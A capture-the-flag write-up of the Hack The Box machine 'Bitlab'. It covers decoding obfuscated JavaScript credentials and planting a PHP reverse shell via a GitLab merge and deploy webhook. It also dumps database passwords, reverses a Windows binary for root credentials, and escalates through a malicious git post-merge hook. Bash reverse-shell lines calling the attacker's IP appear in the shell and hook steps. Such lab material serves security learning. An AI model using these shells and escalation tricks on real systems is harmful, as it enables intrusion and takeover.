
Bitlab was an interesting 30 point box created by Frey and thek. It started out with finding and decoding some hex encoded JavaScript to get credentials for a GitLab instance, then taking advantage of two repos with web hooks to get code execution and a shell as www-data
. We then dump SSH credentials from a database using PHP and finally do some analysis of a Windows executable to get root credentials and log in to get root.
Alternatively, once you have a shell as www-data
you can go straight to root by exploiting Git Hooks using a sudo
root privileged git pull
.
User.txt
Nmap
We start the box with a quick TCP nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ports=$(nmap -sT -p- --min-rate=5000 10.10.10.114 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) &&
nmap -sV -sC -T4 -p$ports 10.10.10.114
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Before checking out port 80, I added the Bitlab domain to my /etc/hosts
file:
1
2
3
4
# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.114 bitlab.htb
Navigating to http://bitlab.htb
redirects you to the following page:

We can see the site is hosting GitLab Community Edition.
GitLab
The following excerpt from the GitLab about page best summarises its purpose:
GitLab is a complete open-source DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate and build software. From idea to production, GitLab helps teams improve cycle time from weeks to minutes, reduce development process costs and decrease time to market while increasing developer productivity.
Bookmarks
After seeing what’s available for us as an end user I clicked upon the Help
button at the bottom of the page:

This leads you to the help page Index where a link is shown to http://bitlab.htb/help/bookmarks.html
:

Clicking on the link displays the following Bookmarks
:

Pressing Ctrl+u
shows the source code for the page and we can see the top four links go to where they say they do. The final link however doesn’t go to the GitLab Login as the HREF
value points at an obfuscated JavaScript function.

Obfuscated JavaScript
The code from the JavaScript seen in the last section is shown below:
1
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Beautifying the code in beautifier.io presents the code as so:
1
2
3
4
5
(function() {
var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()
Entering each hex encoded block into CyberChef with the From Hex
option quickly decodes the hexidecimal values. The important values are shown in the table below and we can see the credentials for the user clave
:
Hex | Plaintext |
---|---|
\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E | user_login |
\x63\x6C\x61\x76\x65 | clave |
\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64 | user_password |
\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78 | 11des0081x |
Another way you could of done this is by entering the variable _0x4b18
into a JavaScript console and printing the contents with console.log
shown below:
1
2
3
4
5
6
7
8
> var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"]; console.log(_0x4b18)
(6)[ "value"
,"user_login"
,"getElementById"
,"clave"
,"user_password"
,"11des0081x"]
The credentials are clave / 11des0081x
.
Claves GitLab
The credentials log us in successfully and we’re presented with the following page:

Snippets
Checking what’s available to the user clave
I noticed the Snippets
tab at the top of the page. Clicking on it leads you to this page:

Clicking on Postgresql
takes you to a 164 byte PHP code snippet:
1
2
3
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
At this point in time the snippet isn’t of much use, I noted this finding and carried on enumerating the GitLab interface.
Profile Repository
In the Administrator / Profile
repo there is a file called index.php
. It’s a simple web page that clave
appears to have developed that states what a Web Developer is.
You can see the page if you navigate to http://bitlab.htb/profile
. The page when rendered is shown below:

From this we know that the index.php
file is loaded and executed by the server. In theory we’re able to add a PHP reverse shell into the index.php
file and go to http://bitlab.htb/profile
, which should then execute and send us a reverse shell on our specified port.
With this in mind, I edited the index.php
file in the Profile
repository so that it contained a PHP pentestmonkey reverse shell with my IP and port number inputted:

Be sure to have the following options selected when you Commit changes
:

After committing the changes it will lead you to this page where you will need to create a new merge request to the master
branch:

Scroll down and click Submit merge request
and finally you’ll get to this page where you want to click the green Merge
button:

You will notice now that if you go to http://bitlab.htb/profile
you will not receive a reverse shell, as there are a few more steps required for this to work.
Deployer Repository
Like the Profile
repo, Deployer
contains an index.php
file that looks like so:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
?>
The if
statement stands out as it is saying that if the repository is Profile
, the branch is master
, the event is a merge_request
(which we made earlier), and if the state is merged
then it executes the command cd ../profile/; sudo git pull
.
A basic description of the git pull
command is given below from atlassian.com:
The git pull command is used to fetch and download content from a remote repository and immediately update the local repository to match that content.
By happenstance there was also a link to the GitLab Docs for Webhooks in the Deployer
repository’s README.md
file:

The following excerpt from the Webhooks’ documentation caught my eye:
Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. GitLab will send a POST request with data to the webhook URL.
From this it appeared that we need to execute the index.php
script in Deployer
so that our new code (PHP reverse shell in the Profile
repo) is deployed and will execute when we browse to it in the Profile
repository.
Shell Execution
Browsing to http://bitlab.htb/deployer
- which executes index.php
and performs cd ../profile/; sudo git pull
- you’ll receive the OK
on screen.
I then browsed to http://bitlab.htb/profile
with my netcat listener ready and received a shell as www-data
:

Alternative Shell Execution
A simpler way to get a shell is by uploading a PHP reverse shell one-liner into the Profile
repository and just going to http://bitlab.htb/profile/shell.php
without overwriting or triggering the deploy.
You can use a simple PHP reverse shell one-liner like the following:
1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.45/443 0>&1'");?>
Upload the file to the Profile
repository:

Then browse to http://bitlab.htb/profile/shell.php
to execute the shell and receive the connection on your netcat listener:

Interactive PHP
Since we now have a shell as www-data
I referred back to the PHP code snippet from earlier on in the GitLab interface:
1
2
3
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
We are missing a couple of lines to dump the contents of the $result
variable but by referring to the PHP docs for pg_query
we see we’re able to use the following syntax (minus the Author: etc.):
1
2
3
4
while ($row = pg_fetch_row($result)) {
echo "Author: $row[0] E-mail: $row[1]";
echo "<br />\n";
}
I entered a PHP interactive session with php -a
and executed the following commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@bitlab:/$ php -a
php -a
Interactive mode enabled
php > $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
php > $result = pg_query($db_connection, "SELECT * FROM profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
php > while ($row = pg_fetch_row($result)) { print_r($row); }
while ($row = pg_fetch_row($result)) { print_r($row); }
Array
(
[0] => 1
[1] => clave
[2] => c3NoLXN0cjBuZy1wQHNz==
)
php >
The Base64 encoded string decodes to ssh-str0ng-p@ss
but doesn’t work with SSH or when we try to su
to clave. I then tried using the Base64 encoded password with su
and successfully authenticated as clave
:
1
2
3
4
5
www-data@bitlab:/$ su clave
su clave
Password: c3NoLXN0cjBuZy1wQHNz==
clave@bitlab:/$
It’s worth mentioning the Base64 encoded password allows you to login via SSH as well.
Flag
As clave
we can simply cat
the flag and we get user.
1
2
3
clave@bitlab:~$ cat user.txt
cat user.txt
1e3fd8...
Root.txt
RemoteConnection.exe
The clave
user has a PE32 MS Windows
executable in their home directory:
1
2
3
clave@bitlab:~$ file RemoteConnection.exe
file RemoteConnection.exe
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows
I decided to scp
the file to my local machine for analysis:
1
2
# scp clave@bitlab.htb:/home/clave/RemoteConnection.exe /root/HackTheBox/bitlab/RemoteConnection.exe
clave@bitlab.htb's password: c3NoLXN0cjBuZy1wQHNz==
Binary Analysis
After secure copying the exe
from Bitlab to my Kali host, I used wine to run the exe on Kali for analysis with OLLYDBG.EXE.
Before loading the exe with wine
and OllyDbg
I ran it with no other arguments and got the following response:
1
2
# wine RemoteConnection.exe
Access Denied !!
I then loaded the executable with OLLDBG.EXE
and searched for the available strings in the exe like so :

Clicking that leads you to this page and gives us some interesting information:

You can see a call to C:\ProgramFiles\putty.exe
, an SSH and Telnet client, and an Access Denied!!
string.
The string Access Denied!!
was indicative of some sort of string compare between a specific set of credentials and/or what’s expected by the executable for authentication.
The memory address of the Access Denied!!
string is 0x401D39
. Double-clicking the address in the strings window leads us to it’s location in the CPU - main thread
at 0x401D39
:

We want to know what’s causing the Access Denied!!
message. I set a breakpoint right before the 0x401D39
address at 0x401D38
, a PUSH EAX
instruction.
The push
instruction (followed by a value) in assembly essentially means ‘push/write the value to the stack’. By setting a breakpoint we’re able to see what’s happening right before Access Denied!!
is printed to the screen - click the 0x401D38
address and press F2
to set a breakpoint there:

Credentials
After running the program you’ll notice a set of credentials in the stack window:

The text is shown below:
1
0033FDDC 00411C58 ASCII "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
You can clearly see the credentials root / Qf7]8YSV.wDNF*[7d?j&eD4^
.
Flag
With the root creds you can su
and cat
the root flag.
1
2
3
4
5
6
7
clave@bitlab:~$ su root
Password: Qf7]8YSV.wDNF*[7d?j&eD4^
root@bitlab:/home/clave# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/home/clave# cat /root/root.txt
8d4cc1...
root@bitlab:/home/clave#
Alternative Root
This method only works with www-data
and you can go straight to root.
Sudo Git Pull
Running sudo -l
as www-data
reveals that we can run sudo git pull
as root without supplying a password:
1
2
3
4
5
6
7
8
www-data@bitlab:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull
To exploit our sudo
privileges we’ll be using Git Hooks to obtain code execution.
Git Hooks
The Git documentation for Git Hooks gives a great explanation of their purpose:
Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging
Merging is something we’ve already done to achieve code execution in the GitLab interface, it will also play an important role in exploiting the sudo root git pull
.
For more information on Git Hooks I recommend reading the documentation link above.
Exploitation
The original PoC can be found here. It uses a slightly different technique to what we’ll be using but the basic premise is the same. The Exploitation
section of this article is more accurate for this particular instance.
As mentioned above, client-side Git Hooks
can be triggered by specific operations such as merging. The hooks for a Git repository are stored in the path <RepoName>/.git/hooks/
.
The Git Hooks
documentation lists some common client-side hooks. The following hook is of interest:
The post-merge hook runs after a successful merge command.
If we were to inject our payload into a post-merge
hook in a repository we have access to, make a new merge request to that repo, and then execute sudo git pull
, our post-merge
hook would be executed with root permissions.
Malicious Profile Repository
To exploit this we need to set up a new Profile
repository in /tmp
with our payload hook injected:
1
2
3
4
www-data@bitlab:/$ cd /tmp
www-data@bitlab:/tmp$ mkdir root
www-data@bitlab:/tmp/root$ cd root
www-data@bitlab:/tmp/root$ cp -r /var/www/html/profile/.git /tmp/root/
Then add the following bash reverse shell into /tmp/root/.git/hooks/post-merge
:
1
2
3
www-data@bitlab:/tmp/root$ echo '#!/bin/bash' > /tmp/root/.git/hooks/post-merge
www-data@bitlab:/tmp/root$ echo 'bash -i >& /dev/tcp/10.10.14.45/1337 0>&1' >> /tmp/root/.git/hooks/post-merge
www-data@bitlab:/tmp/root$ chmod +x /tmp/root/.git/hooks/post-merge
Check our hook has executable permissions and contains our reverse shell:
1
2
3
4
5
6
7
www-data@bitlab:/tmp/root/.git/hooks$ ls -la post-merge
ls -la post-merge
-rwxrwxrwx 1 www-data www-data 54 Jan 9 13:58 post-merge
www-data@bitlab:/tmp/root/.git/hooks$ cat post-merge
cat post-merge
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.45/1337 0>&1
Before running the following commands you need to change something in the Profile
GitLab repository. I simply added a comment to the PHP reverse shell we uploaded earlier and committed the change via the submit merge request route.
If you don’t make a change and submit a new merge request then you’ll just get the following ‘error’ and not exploit the vulnerability:
1
2
3
www-data@bitlab:/tmp/root$ sudo git pull
sudo git pull
Already up to date.
With the change made you can then run sudo git pull
from /tmp/root
and the post-merge
hook will execute successfully.
Have a netcat listener ready beforehand and you’ll receive a root reverse shell:
